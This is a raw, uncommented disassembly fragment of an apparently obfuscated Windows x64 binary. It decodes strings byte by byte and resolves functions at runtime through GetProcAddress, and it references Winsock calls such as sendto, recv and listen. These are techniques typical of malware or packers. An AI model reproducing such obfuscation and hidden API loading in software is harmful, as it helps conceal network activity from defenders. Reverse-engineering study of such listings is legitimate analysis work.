je 0x140066720
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140066703
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400666d7
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400663ff
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400663e4
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400663bb
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140066395
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
je 0x140066376
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140066356
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140066339
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006631e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140066301
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400662d5
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140065eb0
mov rbx, rcx
lea r8, [rcx + 0x3e8]
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x1400668d7
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x1400668ba
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140066098
lea rcx, [r8 + 0x64]
cmp rbx, rcx
jb 0x14006607d
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140066062
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140066289
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140066240
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140066204
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400661df
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140065eb0
mov rbx, rcx
lea r8, [rcx + 0x2a]
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x1400661b0
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x140066193
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140066178
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14006615b
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x14006613e
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140066123
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x1400660fd
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x1400660d4
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x1400660b5
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x140065eb0
lea rbx, [r8 + 6]
lea r8, [rbx + 0x80]
jmp 0x140065eb0
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
jmp 0x140065ea0
lea ecx, [r9 + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 7
jmp 0x140065e40
sub r9b, 0x71
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x17
jmp 0x140065dd6
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140066775
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140065dc3
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140065dc3
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x1400667da
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x1400667f9
add r9b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x42
jmp 0x1400667fc
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x14006682e
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
jmp 0x140066857
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140065dc3
add r9b, 0x3b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x63
mov byte [rbp + r11 + 0x60], dil
inc r11
jmp 0x140065dc3
lea ecx, [r9 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
cmp r8, 5
jb 0x1400661f7
lea ecx, [r9 - 0x4a]
movzx eax, cl
and al, r10b
mov edx, 3
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140066775
lea ecx, [r9 + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x61
cmp rbx, 0x42
jae 0x1400666a3
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x1400665cd
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006621a
lea ecx, [r9 - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x43
lea rax, [r8 + rbx]
cmp rax, 8
je 0x1400666c1
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x1400664d4
lea ecx, [r9 + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6d
jmp 0x140066256
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140065dc3
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
jmp 0x140066857
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x14006682e
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x1400667fc
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400667f9
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400667da
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140065dc3
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140065dc3
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x140066775
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140066426
lea ecx, [r9 - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xf
jmp 0x14006629f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006645b
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140065dc3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066483
lea edx, [r9 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006682e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400664ac
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400667f9
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006629f
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x140066775
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400664f8
lea ecx, [r9 - 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4f
jmp 0x140066775
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066524
add r9b, 0x6b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x13
dec r11
inc r11
jmp 0x140065dc3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006654a
add r9b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x29
jmp 0x1400667f9
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066570
sub r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x47
jmp 0x1400667fc
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066594
lea ecx, [r9 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
jmp 0x14006682e
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140066256
add r9b, 0x17
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x5f
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140065dc3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066605
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140065dc3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066629
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x14006682e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006664f
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x1400667f9
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140066677
lea edx, [r9 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400667da
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006621a
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140066775
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
add dil, r10b
jmp 0x1400667da
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x36]
jmp 0x14006682e
add r9b, 0x2f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x49
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140065dc3
sub r9b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
jmp 0x1400667fc
sub r9b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6b
dec r11
inc r11
jmp 0x140065dc3
lea ecx, [r9 - 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x59
jmp 0x140066775
movzx r9d, r11b
lea ecx, [r9 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1d
add r9b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 9
add r9b, r10b
mov byte [rbp + r11 + 0x60], r9b
inc r8
dec r11
inc r11
jmp 0x140065dc3
lea ecx, [r11 - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1f
dec r11
inc r11
jmp 0x140065dc3
movzx r9d, r11b
lea ecx, [r9 + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3d
sub r9b, 0x1f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x27
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x60], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140065dc3
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
movzx r9d, r11b
add r9b, 0x53
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x45
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x60], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x54
add cl, r10b
mov byte [rbp + r11 + 0x60], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140065dc3
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x2d
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140065dc3
add r9b, 0x1d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x35
jmp 0x140065dc0
sub r9b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x53
jmp 0x140065db0
lea rdx, [rbp + 0x15380ac]
jmp 0x14006690a
lea rdx, [rbp + 0xa04465]
jmp 0x14006690a
lea rdx, [rbp + 0x60]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov byte [rbp - 0x30], 0x43
mov byte [rbp - 0x2f], 0x54
mov byte [rbp - 0x2e], 0x26
mov byte [rbp - 0x2d], 0x44
mov byte [rbp - 0x2c], 0x2d
mov byte [rbp - 0x2b], 0x2b
mov byte [rbp - 0x2a], 0x52
mov byte [rbp - 0x29], 0x28
mov byte [rbp - 0x28], 0x3f
mov byte [rbp - 0x27], 0x55
mov byte [rbp - 0x26], 0x35
mov byte [rbp - 0x25], 0x35
mov byte [rbp - 0x24], 0x4b
mov byte [rbp - 0x23], WSAGetLastError
mov byte [rbp - 0x22], 0xae
xor eax, eax
mov byte [rbp - 0x21], al
movabs r13, 0x53ae22eb85c2cde8
movabs r15, 0xfb0a68c2914869b8
movzx edi, byte [rbp + 0x400]
movabs rsi, 0x49c2f470a853a158
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r14d, r14d
cmp r14, 0x10
jae 0x14006728a
movzx r9d, byte [rbp + r14 - 0x30]
mov r10d, r9d
cmp rbx, r14
ja 0x140067281
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400669d2
lea rcx, [r14 + r13]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x58
jmp 0x140066a0c
je 0x1400671fc
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067188
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140067148
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006711c
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400670cb
movzx esi, r14b
cmp r8, r14
ja 0x140067278
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x140066a39
lea ecx, [rsi + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x140066a70
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400670c1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140067094
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140067074
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067057
nop dword [rax]
lea r10, [r8 + rbx]
cmp r10, r14
jbe 0x140066dbf
nop dword [rax]
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140066db2
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140066d82
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140066e9a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140066d62
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140066d47
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140066d27
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140066a80
mov rbx, rax
lea r8, [rax + 4]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006725b
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140067231
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140066bcf
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140066bb1
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140066cdf
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140066c9c
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140066a80
mov rbx, rax
lea r8, [rax + 0x200]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140066c7f
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140066c5f
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140066c42
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140066c27
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140066bfa
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140066bed
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140066a80
mov rbx, rax
lea r8, [rax + 0x61]
jmp 0x140066a80
lea edx, [rsi - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140066a70
lea edx, [rsi + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x140066a10
lea edx, [rsi + 0x40]
mov ecx, 0x20
jmp 0x1400670d7
sub sil, 0x60
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x60
dec r14
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
lea edx, [rsi - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140067012
add sil, 0x30
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x50
jmp 0x140067165
sub sil, 0x70
movzx eax, r9b
and al, sil
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
jmp 0x1400671d1
sub sil, 0x40
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x40
jmp 0x140067213
lea edx, [rsi + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 0x41
jb 0x140066fe6
lea edx, [rsi + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x20]
jmp 0x1400670e8
lea edx, [rsi - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
cmp rbx, 0x10
jae 0x140066ffd
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140066f43
lea edx, [rsi + 0x50]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x30
jmp 0x140066cb2
add sil, 0x60
movzx eax, r9b
and al, sil
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
jmp 0x1400671d1
lea edx, [rsi - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400671a3
sub sil, 0x10
movzx eax, r9b
and al, sil
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
jmp 0x140067162
add sil, 0x80
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
add dil, 0x80
inc r8
dec r14
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
lea edx, [rsi - 0x50]
mov ecx, 0x18
jmp 0x1400670d7
lea r11, [r8 + 1]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140066e21
lea edx, [rsi - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dl, 0x58
add dil, dl
lea rcx, [r8 + 2]
lea rdx, [r8 + 3]
cmp r10, 0x7a
je 0x140067039
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140066eb5
lea edx, [rsi + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140066cf5
cmp rbx, r11
jne 0x140066e43
add sil, 0x10
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x70
jmp 0x140067213
lea rdx, [r8 + 3]
cmp rbx, rdx
jne 0x140066e67
lea edx, [rsi - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400671a3
lea rcx, [r8 + 2]
cmp rbx, rcx
jne 0x140066e8d
add sil, 0x50
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x30
jmp 0x140067162
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066def
lea edx, [rsi + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140067012
cmp rbx, r11
jne 0x140066ec7
lea edx, [rsi + 0x18]
mov ecx, 0x2c
jmp 0x1400670d7
cmp rbx, rcx
jne 0x140066ef9
sub sil, 0x48
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 8
dec r14
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
cmp rbx, rdx
jne 0x140066f19
lea edx, [rsi - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140067012
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140066cf8
add sil, 0x28
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x18
jmp 0x140067165
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066f6c
add sil, 0x20
movzx eax, r9b
and al, sil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
jmp 0x140067213
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066f90
lea edx, [rsi + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x50
jmp 0x140067012
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140066fbe
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
dec r14
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140066cb5
lea edx, [rsi - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x60
jmp 0x1400670e5
mov byte [rbp + r14 - 0x30], dil
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
lea edx, [rsi + 0x40]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
add dil, dl
add sil, 0x28
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
sub r9b, 0x18
add r9b, dil
add r9b, sil
mov byte [rbp + r14 - 0x30], r9b
jmp 0x140067162
lea edx, [rsi + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, r9b
sub dil, 0x70
jmp 0x1400671a3
add sil, 0x58
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x68
jmp 0x140067213
add sil, 0x18
movzx eax, r9b
and al, sil
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
jmp 0x140067162
add sil, 0x78
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 0x48
dec r14
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
lea edx, [rsi - 0x28]
mov ecx, recv
jmp 0x1400670d7
movzx esi, r14b
lea edx, [rsi + 0x38]
mov ecx, 0x3c
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add sil, 0x58
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
sub r9b, 0x68
add r9b, sil
mov byte [rbp + r14 - 0x30], r9b
inc r8
dec r14
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
lea ecx, [r14 - 0x68]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
dec r14
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
lea edx, [r14 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
lea rdx, [r14 + rsi]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
movzx esi, r14b
add dil, dl
sub sil, 8
movzx eax, r9b
and al, sil
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r9b
add cl, sil
movzx eax, cl
mov byte [rbp + r14 - 0x30], al
inc r8
add rax, r8
sub r14, rax
lea ecx, [r14 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x20
add cl, r9b
mov byte [rbp + r14 - 0x30], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r14, rax
jmp 0x140067213
lea rcx, [r14 + r15]
movzx eax, cl
and al, r10b
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
movzx eax, byte [rbp + r14 - 0x30]
add rax, r8
add r14, rax
inc r14
movabs rsi, 0x49c2f470a853a158
jmp 0x140066993
sub sil, 0x78
movzx eax, r9b
and al, sil
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, sil
movabs rsi, 0x49c2f470a853a158
jmp 0x140066990
sub sil, 0x48
movzx eax, r9b
and al, sil
add al, al
sub r9b, al
lea edi, [rsi + r9]
sub dil, 8
jmp 0x140066974
lea rdx, [rbp + 0x16257b0]
jmp 0x14006728e
lea rdx, [rbp + 0x652598]
jmp 0x14006728e
lea rdx, [rbp - 0x30]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov byte [rbp + 0x80], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x81], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x82], 0x46
mov byte [rbp + 0x83], 0x60
mov byte [rbp + 0x84], WSAStartup
mov byte [rbp + 0x85], 0x7b
mov byte [rbp + 0x86], 0x7a
mov byte [rbp + 0x87], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x88], 0x4f
mov byte [rbp + 0x89], __WSAFDIsSet
mov byte [rbp + 0x8a], WSAStartup
mov byte [rbp + 0x8b], WSAStartup
mov byte [rbp + 0x8c], 0x7b
mov byte [rbp + 0x8d], 0x80
mov byte [rbp + 0x8e], 0xde
xor eax, eax
mov qword [rbp + 0x8f], rax
mov byte [rbp + 0x97], al
movabs rsi, 0x5312b9ee9e4c162
